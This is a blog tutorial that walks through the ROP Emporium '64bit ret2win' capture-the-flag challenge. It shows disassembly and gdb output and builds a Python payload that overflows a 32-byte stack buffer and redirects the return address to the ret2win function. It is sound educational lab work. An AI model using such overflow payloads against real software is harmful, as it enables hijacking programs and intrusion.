Playing with ROP part1

What are ROP chains?.

To understand what a ROP chain is you frist need to know what ROP means.

ROP stands for Return oriented programming.

When a program calls a function it wil push the address from where it was called on the stack. When the functions is finished it pops the address and returns there.

A ROP Chain is a chain consisting of values and return addresses that a attacker might use to manipulate a program to do what he wants it to do.

Time to get our hands dirty

Writing about gadgets and ROP chains without an example to show is kinda boring. lets walk trough the “64bit ret2win” challenge you can find at . https://ropemporium.com/

In this challenge the objective is quite simple, there is a function we need to call ‘ret2win’ and it will print us a flag.

Disassemble time.

lets open the binary in hopper to see what we are dealing with.

 ; ================ B E G I N N I N G   O F   P R O C E D U R E ================


                            main:
0000000000400746 55                     push       rbp                          ; Begin of unwind block (FDE at 0x400acc), DATA XREF=_start+29
0000000000400747 4889E5                 mov        rbp, rsp
000000000040074a 488B050F092000         mov        rax, qword [__TMC_END__]     ; __TMC_END__
0000000000400751 B900000000             mov        ecx, 0x0                     ; argument "__n" for method j_setvbuf
0000000000400756 BA02000000             mov        edx, 0x2                     ; argument "__modes" for method j_setvbuf
000000000040075b BE00000000             mov        esi, 0x0                     ; argument "__buf" for method j_setvbuf
0000000000400760 4889C7                 mov        rdi, rax                     ; argument "__stream" for method j_setvbuf
0000000000400763 E8C8FEFFFF             call       j_setvbuf                    ; setvbuf
0000000000400768 488B0511092000         mov        rax, qword [stderr@@GLIBC_2.2.5] ; stderr@@GLIBC_2.2.5
000000000040076f B900000000             mov        ecx, 0x0                     ; argument "__n" for method j_setvbuf
0000000000400774 BA02000000             mov        edx, 0x2                     ; argument "__modes" for method j_setvbuf
0000000000400779 BE00000000             mov        esi, 0x0                     ; argument "__buf" for method j_setvbuf
000000000040077e 4889C7                 mov        rdi, rax                     ; argument "__stream" for method j_setvbuf
0000000000400781 E8AAFEFFFF             call       j_setvbuf                    ; setvbuf
0000000000400786 BFC8084000             mov        edi, aRet2winByRopEm         ; argument "__s" for method j_puts, "ret2win by ROP Emporium"
000000000040078b E840FEFFFF             call       j_puts                       ; puts
0000000000400790 BFE0084000             mov        edi, a64bitsn                ; argument "__s" for method j_puts, "64bits\\n"
0000000000400795 E836FEFFFF             call       j_puts                       ; puts
000000000040079a B800000000             mov        eax, 0x0
000000000040079f E811000000             call       pwnme                        ; pwnme
00000000004007a4 BFE8084000             mov        edi, aNexiting               ; argument "__s" for method j_puts, "\\nExiting"
00000000004007a9 E822FEFFFF             call       j_puts                       ; puts
00000000004007ae B800000000             mov        eax, 0x0
00000000004007b3 5D                     pop        rbp
00000000004007b4 C3                     ret
                ; endp


; ================ B E G I N N I N G   O F   P R O C E D U R E ================

; Variables:
;    var_20: int8_t, -32


                            pwnme:
00000000004007b5 55                     push       rbp                          ; End of unwind block (FDE at 0x400acc), Begin of unwind block (FDE at 0x400aec), CODE XREF=main+89
00000000004007b6 4889E5                 mov        rbp, rsp
00000000004007b9 4883EC20               sub        rsp, 0x20
00000000004007bd 488D45E0               lea        rax, qword [rbp+var_20]
00000000004007c1 BA20000000             mov        edx, 0x20                    ; argument "__n" for method j_memset
00000000004007c6 BE00000000             mov        esi, 0x0                     ; argument "__c" for method j_memset
00000000004007cb 4889C7                 mov        rdi, rax                     ; argument "__s" for method j_memset
00000000004007ce E82DFEFFFF             call       j_memset                     ; memset
00000000004007d3 BFF8084000             mov        edi, aForMyFirstTric         ; argument "__s" for method j_puts, "For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;\\nWhat could possibly go wrong?"
00000000004007d8 E8F3FDFFFF             call       j_puts                       ; puts
00000000004007dd BF78094000             mov        edi, aYouThereMadamM         ; argument "__s" for method j_puts, "You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!\\n"
00000000004007e2 E8E9FDFFFF             call       j_puts                       ; puts
00000000004007e7 BFDD094000             mov        edi, 0x4009dd                ; argument "__format" for method j_printf
00000000004007ec B800000000             mov        eax, 0x0
00000000004007f1 E8FAFDFFFF             call       j_printf                     ; printf
00000000004007f6 488B1573082000         mov        rdx, qword [stdin@@GLIBC_2.2.5] ; argument "__stream" for method j_fgets, stdin@@GLIBC_2.2.5
00000000004007fd 488D45E0               lea        rax, qword [rbp+var_20]
0000000000400801 BE32000000             mov        esi, 0x32                    ; argument "__n" for method j_fgets
0000000000400806 4889C7                 mov        rdi, rax                     ; argument "__s" for method j_fgets
0000000000400809 E812FEFFFF             call       j_fgets                      ; fgets
000000000040080e 90                     nop
000000000040080f C9                     leave
0000000000400810 C3                     ret
                ; endp


; ================ B E G I N N I N G   O F   P R O C E D U R E ================


                            ret2win:
0000000000400811 55                     push       rbp                          ; End of unwind block (FDE at 0x400aec), Begin of unwind block (FDE at 0x400b0c)
0000000000400812 4889E5                 mov        rbp, rsp
0000000000400815 BFE0094000             mov        edi, aThankYouHeresY         ; argument "__format" for method j_printf, "Thank you! Here's your flag:"
000000000040081a B800000000             mov        eax, 0x0
000000000040081f E8CCFDFFFF             call       j_printf                     ; printf
0000000000400824 BFFD094000             mov        edi, aBincatFlagtxt          ; argument "__command" for method j_system, "/bin/cat flag.txt"
0000000000400829 E8B2FDFFFF             call       j_system                     ; system
000000000040082e 90                     nop
000000000040082f 5D                     pop        rbp
0000000000400830 C3                     ret
                ; endp
0000000000400831                        align      64                           ; End of unwind block (FDE at 0x400b0c)

In the pwnme function there is a 0x20 byte stack buffer set by memset.
and 0x32 bytes written to it by fgets.

Lets run it in gdb and feed it some bytes and see what happens.

─── Output/messages ─────────────────────────────────────────────────────────
ret2win by ROP Emporium
64bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC

Program received signal SIGSEGV, Segmentation fault.
─── Assembly ────────────────────────────────────────────────────────────────
0x0000000000400809 pwnme+84 call   0x400620 <fgets@plt>
0x000000000040080e pwnme+89 nop
0x000000000040080f pwnme+90 leave  
0x0000000000400810 pwnme+91 ret    
─── Expressions ─────────────────────────────────────────────────────────────
─── History ─────────────────────────────────────────────────────────────────
─── Memory ──────────────────────────────────────────────────────────────────
─── Registers ───────────────────────────────────────────────────────────────
   rax 0x00007fffffffde90    rbx 0x0000000000000000    rcx 0x00000000fbad2288
   rdx 0x00007fffffffde90    rsi 0x00007ffff7f9d8d0    rdi 0x00007fffffffde91
   rbp 0x4242424242424242    rsp 0x00007fffffffdeb8     r8 0x0000000000602291
    r9 0x00007ffff7f9d8c0    r10 0x00007ffff7fa2500    r11 0x0000000000000246
   r12 0x0000000000400650    r13 0x00007fffffffdfa0    r14 0x0000000000000000
   r15 0x0000000000000000    rip 0x0000000000400810 eflags [ PF ZF IF RF ]   
    cs 0x00000033             ss 0x0000002b             ds 0x00000000        
    es 0x00000000             fs 0x00000000             gs 0x00000000        
─── Source ──────────────────────────────────────────────────────────────────
─── Stack ───────────────────────────────────────────────────────────────────
[0] from 0x0000000000400810 in pwnme+91
(no arguments)
[1] from 0x4343434343434343
(no arguments)
[+]
─── Threads ─────────────────────────────────────────────────────────────────
[1] id 18823 name ret2win from 0x0000000000400810 in pwnme+91
─────────────────────────────────────────────────────────────────────────────
0x0000000000400810 in pwnme ()
>>> 

i send the string ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC’
as user input. and the program stopped with a segfault.

The B’s are in the rbp register.
and the C’s are on the stack

lets set a breakpoint at 0x400810 and have a look at the registers and the stack in when we don’t overflow the stack buffer.

rax 0x00007fffffffde90    rbx 0x0000000000000000    rcx 0x00000000fbad2288
rdx 0x00007fffffffde90 rsi 0x00007ffff7f9d8d0 rdi 0x00007fffffffde91
rbp 0x00007fffffffdec0 rsp 0x00007fffffffdeb8 r8 0x000000000060226b
r9 0x00007ffff7f9d8c0 r10 0x00007ffff7fa2500 r11 0x0000000000000246
r12 0x0000000000400650 r13 0x00007fffffffdfa0 r14 0x0000000000000000
r15 0x0000000000000000 rip 0x0000000000400810 eflags [ PF ZF IF ]
cs 0x00000033 ss 0x0000002b ds 0x00000000
es 0x00000000 fs 0x00000000 gs 0x00000000
─── Source ──────────────────────────────────────────────────────────────────
─── Stack ───────────────────────────────────────────────────────────────────
[0] from 0x0000000000400810 in pwnme+91
(no arguments)
[1] from 0x00000000004007a4 in main+94
(no arguments)

As you can see the value on the stack is the address right after were the function ‘pwnme’ is called from.

If we would now replace the C’s in ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC’ with a valid executable address the program will return there instead of producing a segfault.

making a payload

Lets construct a little payload.
The buffer I need to fill is 40 bytes (32 + 8 bytes that will end up in rpb)
and the address I want to return to is 0x400811

The address needs to be written down in een Little endian format and padded with 0x00 to the length of 8 bytes.

python -c "print 'A'*40+'\x11\x08\x40\x00\x00\x00\x00\x00'"

I could just pipe python’s output to ret2win’s input in a shell. but then I wouldn’t be able to see what’s happening.

So instead I do this from within GDB.

r <<< $(python -c "print 'A'*40+'\x11\x08\x40\x00\x00\x00\x00\x00'")

It stops at the breakpoint I’ve had set before and I can see the address is were I want it to be.

─── Stack ───────────────────────────────────────────────────────────────────
[0] from 0x0000000000400810 in pwnme+91
(no arguments)
[1] from 0x000000000a400811
(no arguments)

Now I continue the execution of the program.

 Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!} 
Program received signal SIGSEGV, Segmentation fault.

I get an other segfault because the ‘ret2win’ function can’t return. But I don’t care about that, because I already have what I want.

so what about the ‘chain’?

This Challenge wasn’t really solved with a ROPchain since there was no chain.

But i explained the basics of ROP, I guess I’ll need to write a part2

Eén gedachte over “Playing with ROP part1”

Geef een reactie

Het e-mailadres wordt niet gepubliceerd. Vereiste velden zijn gemarkeerd met *